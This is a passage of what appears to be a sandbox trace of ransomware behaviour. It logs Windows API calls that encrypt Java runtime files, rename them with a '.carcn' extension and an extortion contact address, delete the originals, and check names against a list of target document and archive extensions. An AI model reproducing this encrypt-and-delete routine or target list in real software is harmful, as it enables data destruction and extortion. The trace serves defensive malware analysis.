(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0262.116] GetLastError () returned 0x0 [0262.116] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x101a, lpOverlapped=0x0) returned 1 [0262.118] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1020, lpOverlapped=0x0) returned 1 [0262.119] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.119] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xee, lpOverlapped=0x0) returned 1 [0262.119] SetEndOfFile (hFile=0x540) returned 1 [0262.119] CloseHandle (hObject=0x540) returned 1 [0262.120] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.120] SetEndOfFile (hFile=0x4bc) returned 1 [0262.122] CloseHandle (hObject=0x4bc) returned 1 [0262.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.123] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0262.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.123] lstrlenW (lpString=".doc") returned 4 [0262.123] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0262.123] lstrlenW (lpString=".docx") returned 5 [0262.123] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0262.123] lstrlenW (lpString=".pdf") returned 4 [0262.123] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0262.124] lstrlenW (lpString=".xls") returned 4 [0262.124] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0262.124] lstrlenW (lpString=".xlsx") returned 5 [0262.124] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0262.124] lstrlenW (lpString=".ppt") returned 4 [0262.124] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0262.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.124] lstrlenW (lpString=".zip") returned 4 [0262.124] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0262.124] lstrlenW (lpString=".rar") returned 4 [0262.124] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0262.124] lstrlenW (lpString=".bz2") returned 4 [0262.124] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0262.124] lstrlenW (lpString=".7z") returned 3 [0262.124] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0262.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.124] lstrlenW (lpString=".dbf") returned 4 [0262.124] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0262.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.124] lstrlenW (lpString=".1cd") returned 4 [0262.124] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0262.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.124] lstrlenW (lpString=".jpg") returned 4 [0262.124] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0262.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.124] lstrlenW (lpString=".doc") returned 4 [0262.124] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0262.124] lstrlenW (lpString=".docx") returned 5 [0262.124] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0262.125] lstrlenW (lpString=".pdf") returned 4 [0262.125] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0262.125] lstrlenW (lpString=".xls") returned 4 [0262.125] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0262.125] lstrlenW (lpString=".xlsx") returned 5 [0262.125] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0262.125] lstrlenW (lpString=".ppt") returned 4 [0262.125] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0262.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.125] lstrlenW (lpString=".zip") returned 4 [0262.125] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0262.125] lstrlenW (lpString=".rar") returned 4 [0262.125] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0262.125] lstrlenW (lpString=".bz2") returned 4 [0262.125] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0262.125] lstrlenW (lpString=".7z") returned 3 [0262.125] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0262.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.125] lstrlenW (lpString=".dbf") returned 4 [0262.125] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0262.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.125] lstrlenW (lpString=".1cd") returned 4 [0262.125] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0262.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0262.125] lstrlenW (lpString=".jpg") returned 4 [0262.125] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0262.125] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.126] lstrlenW (lpString="messages_de.properties") returned 22 [0262.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.129] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3306) returned 1 [0262.129] CloseHandle (hObject=0x4bc) returned 1 [0262.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0262.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.129] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.129] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0262.130] GetLastError () returned 0x0 [0262.131] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xcea, lpOverlapped=0x0) returned 1 [0262.300] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0262.301] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.301] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x100, lpOverlapped=0x0) returned 1 [0262.301] SetEndOfFile (hFile=0x540) returned 1 [0262.303] CloseHandle (hObject=0x540) returned 1 [0262.306] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.306] SetEndOfFile (hFile=0x4bc) returned 1 [0262.309] CloseHandle (hObject=0x4bc) returned 1 [0262.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.310] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0262.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.311] lstrlenW (lpString=".doc") returned 4 [0262.311] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.311] lstrlenW (lpString=".docx") returned 5 [0262.311] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.311] lstrlenW (lpString=".pdf") returned 4 [0262.311] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.311] lstrlenW (lpString=".xls") returned 4 [0262.311] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.311] lstrlenW (lpString=".xlsx") returned 5 [0262.311] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.311] lstrlenW (lpString=".ppt") returned 4 [0262.311] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.311] lstrlenW (lpString=".zip") returned 4 [0262.311] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.311] lstrlenW (lpString=".rar") returned 4 [0262.312] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString=".bz2") returned 4 [0262.312] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString=".7z") returned 3 [0262.312] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.312] lstrlenW (lpString=".dbf") returned 4 [0262.312] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.312] lstrlenW (lpString=".1cd") returned 4 [0262.312] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.312] lstrlenW (lpString=".jpg") returned 4 [0262.312] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.312] lstrlenW (lpString=".doc") returned 4 [0262.312] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString=".docx") returned 5 [0262.312] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.312] lstrlenW (lpString=".pdf") returned 4 [0262.312] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.312] lstrlenW (lpString=".xls") returned 4 [0262.312] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString=".xlsx") returned 5 [0262.313] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.313] lstrlenW (lpString=".ppt") returned 4 [0262.313] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.313] lstrlenW (lpString=".zip") returned 4 [0262.313] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString=".rar") returned 4 [0262.313] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString=".bz2") returned 4 [0262.313] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString=".7z") returned 3 [0262.313] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.313] lstrlenW (lpString=".dbf") returned 4 [0262.313] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.313] lstrlenW (lpString=".1cd") returned 4 [0262.313] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0262.313] lstrlenW (lpString=".jpg") returned 4 [0262.313] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.314] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.314] lstrlenW (lpString="messages_fr.properties") returned 22 [0262.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.314] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3409) returned 1 [0262.314] CloseHandle (hObject=0x4bc) returned 1 [0262.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0262.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.315] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.316] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.316] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0262.316] GetLastError () returned 0x0 [0262.316] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xd51, lpOverlapped=0x0) returned 1 [0262.360] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xd60, lpOverlapped=0x0) returned 1 [0262.361] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.361] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x100, lpOverlapped=0x0) returned 1 [0262.362] SetEndOfFile (hFile=0x540) returned 1 [0262.362] CloseHandle (hObject=0x540) returned 1 [0262.364] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.364] SetEndOfFile (hFile=0x4bc) returned 1 [0262.367] CloseHandle (hObject=0x4bc) returned 1 [0262.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.368] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0262.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.368] lstrlenW (lpString=".doc") returned 4 [0262.368] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.368] lstrlenW (lpString=".docx") returned 5 [0262.368] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.368] lstrlenW (lpString=".pdf") returned 4 [0262.368] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.368] lstrlenW (lpString=".xls") returned 4 [0262.369] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString=".xlsx") returned 5 [0262.369] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.369] lstrlenW (lpString=".ppt") returned 4 [0262.369] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.369] lstrlenW (lpString=".zip") returned 4 [0262.369] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString=".rar") returned 4 [0262.369] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString=".bz2") returned 4 [0262.369] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString=".7z") returned 3 [0262.369] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.369] lstrlenW (lpString=".dbf") returned 4 [0262.369] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.369] lstrlenW (lpString=".1cd") returned 4 [0262.369] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.369] lstrlenW (lpString=".jpg") returned 4 [0262.369] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.370] lstrlenW (lpString=".doc") returned 4 [0262.370] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString=".docx") returned 5 [0262.370] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.370] lstrlenW (lpString=".pdf") returned 4 [0262.370] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString=".xls") returned 4 [0262.370] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString=".xlsx") returned 5 [0262.370] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.370] lstrlenW (lpString=".ppt") returned 4 [0262.370] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.370] lstrlenW (lpString=".zip") returned 4 [0262.370] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString=".rar") returned 4 [0262.370] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString=".bz2") returned 4 [0262.370] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString=".7z") returned 3 [0262.370] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.370] lstrlenW (lpString=".dbf") returned 4 [0262.370] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.370] lstrlenW (lpString=".1cd") returned 4 [0262.371] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0262.371] lstrlenW (lpString=".jpg") returned 4 [0262.371] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.371] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.371] lstrlenW (lpString="messages_it.properties") returned 22 [0262.371] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.372] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3223) returned 1 [0262.372] CloseHandle (hObject=0x4bc) returned 1 [0262.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0262.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.372] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.373] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0262.373] GetLastError () returned 0x0 [0262.373] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xc97, lpOverlapped=0x0) returned 1 [0262.388] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xca0, lpOverlapped=0x0) returned 1 [0262.389] ReadFile (in: hFile=0x4bc, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.389] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x100, 